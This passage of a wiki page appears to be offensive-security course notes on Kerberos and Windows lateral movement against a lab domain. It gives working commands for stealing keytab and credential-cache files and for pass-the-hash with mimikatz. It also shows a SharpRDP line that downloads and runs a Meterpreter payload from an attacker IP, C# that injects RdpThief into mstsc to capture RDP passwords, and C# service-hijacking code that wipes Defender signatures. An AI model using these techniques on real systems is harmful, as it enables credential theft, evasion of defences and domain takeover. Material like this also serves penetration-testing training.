ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
